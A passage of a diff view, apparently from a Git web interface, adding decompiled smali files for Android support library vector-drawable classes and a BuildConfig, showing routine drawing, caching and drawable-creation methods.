.prologue
.line 1076
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mChangingConfigurations:I
return v0
.end method
.method public getPaint(Landroid/graphics/ColorFilter;)Landroid/graphics/Paint;
.locals 2
.param p1, "filter" # Landroid/graphics/ColorFilter;
.prologue
.line 1003
invoke-virtual {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->hasTranslucentRoot()Z
move-result v0
if-nez v0, :cond_0
if-nez p1, :cond_0
.line 1004
const/4 v0, 0x0
.line 1013
:goto_0
return-object v0
.line 1007
:cond_0
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
if-nez v0, :cond_1
.line 1008
new-instance v0, Landroid/graphics/Paint;
invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
.line 1009
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
const/4 v1, 0x1
invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setFilterBitmap(Z)V
.line 1011
:cond_1
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-virtual {v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->getRootAlpha()I
move-result v1
invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setAlpha(I)V
.line 1012
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
invoke-virtual {v0, p1}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter;
.line 1013
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTempPaint:Landroid/graphics/Paint;
goto :goto_0
.end method
.method public hasTranslucentRoot()Z
.locals 2
.prologue
.line 996
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-virtual {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->getRootAlpha()I
move-result v0
const/16 v1, 0xff
if-ge v0, v1, :cond_0
const/4 v0, 0x1
:goto_0
return v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method
.method public newDrawable()Landroid/graphics/drawable/Drawable;
.locals 1
.prologue
.line 1066
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-direct {v0, p0}, Landroid/support/graphics/drawable/VectorDrawableCompat;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;)V
return-object v0
.end method
.method public newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
.locals 1
.param p1, "res" # Landroid/content/res/Resources;
.prologue
.line 1071
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-direct {v0, p0}, Landroid/support/graphics/drawable/VectorDrawableCompat;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;)V
return-object v0
.end method
.method public updateCacheStates()V
.locals 1
.prologue
.line 1053
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedTint:Landroid/content/res/ColorStateList;
.line 1054
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedTintMode:Landroid/graphics/PorterDuff$Mode;
.line 1055
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-virtual {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->getRootAlpha()I
move-result v0
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedRootAlpha:I
.line 1056
iget-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mAutoMirrored:Z
iput-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedAutoMirrored:Z
.line 1057
const/4 v0, 0x0
iput-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCacheDirty:Z
.line 1058
return-void
.end method
.method public updateCachedBitmap(II)V
.locals 3
.param p1, "width" # I
.param p2, "height" # I
.prologue
.line 1017
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
const/4 v2, 0x0
invoke-virtual {v1, v2}, Landroid/graphics/Bitmap;->eraseColor(I)V
.line 1018
new-instance v0, Landroid/graphics/Canvas;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
invoke-direct {v0, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
.line 1019
.local v0, "tmpCanvas":Landroid/graphics/Canvas;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
const/4 v2, 0x0
invoke-virtual {v1, v0, p1, p2, v2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->draw(Landroid/graphics/Canvas;IILandroid/graphics/ColorFilter;)V
.line 1020
return-void
.end method

Wyświetl plik

@ -0,0 +1,144 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;
.super Landroid/graphics/drawable/Drawable$ConstantState;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VectorDrawableDelegateState"
.end annotation
# instance fields
.field private final mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
# direct methods
.method public constructor <init>(Landroid/graphics/drawable/Drawable$ConstantState;)V
.locals 0
.param p1, "state" # Landroid/graphics/drawable/Drawable$ConstantState;
.prologue
.line 914
invoke-direct {p0}, Landroid/graphics/drawable/Drawable$ConstantState;-><init>()V
.line 915
iput-object p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
.line 916
return-void
.end method
# virtual methods
.method public canApplyTheme()Z
.locals 1
.prologue
.line 942
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable$ConstantState;->canApplyTheme()Z
move-result v0
return v0
.end method
.method public getChangingConfigurations()I
.locals 1
.prologue
.line 947
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable$ConstantState;->getChangingConfigurations()I
move-result v0
return v0
.end method
.method public newDrawable()Landroid/graphics/drawable/Drawable;
.locals 2
.prologue
.line 920
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat;-><init>()V
.line 921
.local v0, "drawableCompat":Landroid/support/graphics/drawable/VectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v1}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable()Landroid/graphics/drawable/Drawable;
move-result-object v1
check-cast v1, Landroid/graphics/drawable/VectorDrawable;
iput-object v1, v0, Landroid/support/graphics/drawable/VectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 922
return-object v0
.end method
.method public newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
.locals 2
.param p1, "res" # Landroid/content/res/Resources;
.prologue
.line 927
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat;-><init>()V
.line 928
.local v0, "drawableCompat":Landroid/support/graphics/drawable/VectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v1, p1}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
move-result-object v1
check-cast v1, Landroid/graphics/drawable/VectorDrawable;
iput-object v1, v0, Landroid/support/graphics/drawable/VectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 929
return-object v0
.end method
.method public newDrawable(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;
.locals 2
.param p1, "res" # Landroid/content/res/Resources;
.param p2, "theme" # Landroid/content/res/Resources$Theme;
.prologue
.line 934
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat;-><init>()V
.line 935
.local v0, "drawableCompat":Landroid/support/graphics/drawable/VectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
.line 936
invoke-virtual {v1, p1, p2}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;
move-result-object v1
check-cast v1, Landroid/graphics/drawable/VectorDrawable;
iput-object v1, v0, Landroid/support/graphics/drawable/VectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 937
return-object v0
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/graphics/drawable/animated/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.graphics.drawable.animated"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Some files were not shown because too many files have changed in this diff Show More